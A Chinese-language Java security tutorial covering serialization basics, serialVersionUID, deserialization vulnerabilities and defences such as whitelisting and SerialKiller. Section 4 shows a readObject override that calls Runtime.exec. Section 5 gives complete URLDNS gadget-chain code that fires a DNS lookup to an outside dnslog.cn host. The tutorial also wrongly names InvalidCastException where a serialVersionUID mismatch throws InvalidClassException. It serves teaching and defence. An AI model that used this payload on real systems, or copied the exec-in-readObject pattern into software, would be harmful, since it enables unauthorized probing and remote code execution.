JAVA安全-序列化与反序列化基础详解
字数 1556 2025-08-23 18:31:09
Java安全:序列化与反序列化基础详解
1. 序列化与反序列化基础概念
1.1 基本定义
- 序列化(Serialization): 将Java对象转换为字节序列的过程
- 反序列化(Deserialization): 把字节序列恢复为Java对象的过程
1.2 序列化的目的
- 对象持久化存储
- 网络传输对象
- 跨JVM共享对象
2. 序列化实现机制
2.1 序列化条件
-
类必须实现
java.io.Serializable接口Serializable是一个标记接口,不包含任何方法- 未实现此接口的类序列化会抛出
NotSerializableException
-
类的所有属性必须是可序列化的
- 若属性不可序列化,必须使用
transient关键字标记 transient修饰的成员不会被序列化
- 若属性不可序列化,必须使用
2.2 序列化过程
// 序列化示例代码
public class SerializeDemo {
public static void main(String[] args) throws IOException {
Employee e = new Employee();
e.name = "zhangsan";
e.age = 20;
e.address = "shenzhen";
// 创建序列化流
ObjectOutputStream outputStream = new ObjectOutputStream(
new FileOutputStream("ser.txt"));
// 写出对象
outputStream.writeObject(e);
// 释放资源
outputStream.close();
}
}
2.3 反序列化过程
// 反序列化示例代码
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
2.4 注意事项
- 父类未实现
Serializable接口时,需要提供无参构造函数 static成员变量不会被序列化transient修饰的成员变量不参与序列化
3. serialVersionUID机制
3.1 作用
- 用于验证序列化版本的兼容性
- 反序列化时JVM会比较字节流中的
serialVersionUID与本地类的serialVersionUID - 不一致会抛出
InvalidCastException
3.2 生成方式
-
默认1L:
private static final long serialVersionUID = 1L; -
根据类结构计算生成(64位哈希值):
private static final long serialVersionUID = xxxxL;
3.3 最佳实践
- 显式声明
serialVersionUID以避免版本不一致问题 - 修改类结构时应考虑
serialVersionUID的兼容性
4. 反序列化漏洞原理
4.1 漏洞产生条件
- 重写
readObject方法不当 - 在
readObject中执行危险操作 - 示例漏洞代码:
private void readObject(java.io.ObjectInputStream stream) throws Exception { stream.defaultReadObject(); // 执行默认的readObject() Runtime.getRuntime().exec(cmd); // 危险操作 }
4.2 漏洞利用共同条件
- 继承
Serializable接口 - 存在入口类(source) - 重写了
readObject方法 - 存在调用链(gadget chain) - 基于类的默认调用方式
- 存在执行类(sink) - 可执行危险操作(RCE、SSRF等)
5. URLDNS利用链分析
5.1 利用链概述
HashMap->readObject()->hash()->URL.hashCode()
->URLStreamHandler.hashCode()->getHostAddress()
->InetAddress.getByName(host)
5.2 利用特点
- Java原生利用链,无版本限制
- 常用于验证反序列化漏洞存在
- 通过DNS查询验证漏洞
5.3 完整利用代码
// 序列化部分
public class DnsTest {
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
URL url = new URL("http://nxfsji.dnslog.cn");
Class c = url.getClass();
Field fieldhashcode = c.getDeclaredField("hashCode");
fieldhashcode.setAccessible(true);
fieldhashcode.set(url, 222); // 第一次查询缓存
hashmap.put(url, 2);
fieldhashcode.set(url, -1); // 反序列化时触发DNS查询
serialize(hashmap);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(
new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
}
// 反序列化部分
public class RrefilectDns {
public static void main(String[] args) throws Exception {
unserialize();
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(
new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}
5.4 关键点分析
HashMap的readObject()方法会调用hash()函数hash()函数会调用键对象的hashCode()URL类的hashCode为-1时会调用URLStreamHandler.hashCode()- 最终触发
InetAddress.getByName()进行DNS查询
6. 反序列化防护措施
6.1 防护方法
- 使用白名单验证反序列化的类
- 替换默认的
ObjectInputStream- 例如使用
SerialKiller替代
- 例如使用
- 实施输入验证和过滤
- 使用安全管理器限制危险操作
6.2 SerialKiller特性
- Hot-Reload
- Whitelisting
- Blacklisting
- 控制外部输入反序列化后的可信类型
7. 总结
Java序列化和反序列化是强大的功能,但也带来了严重的安全风险。理解其工作机制和安全问题对于开发安全的Java应用至关重要。关键点包括:
- 序列化需要实现
Serializable接口 serialVersionUID用于版本控制- 重写
readObject可能引入安全风险 - URLDNS链是验证反序列化漏洞的有效方式
- 应采取适当防护措施防止反序列化攻击
通过深入理解这些机制,开发人员可以更安全地使用Java序列化功能,同时有效防范相关安全风险。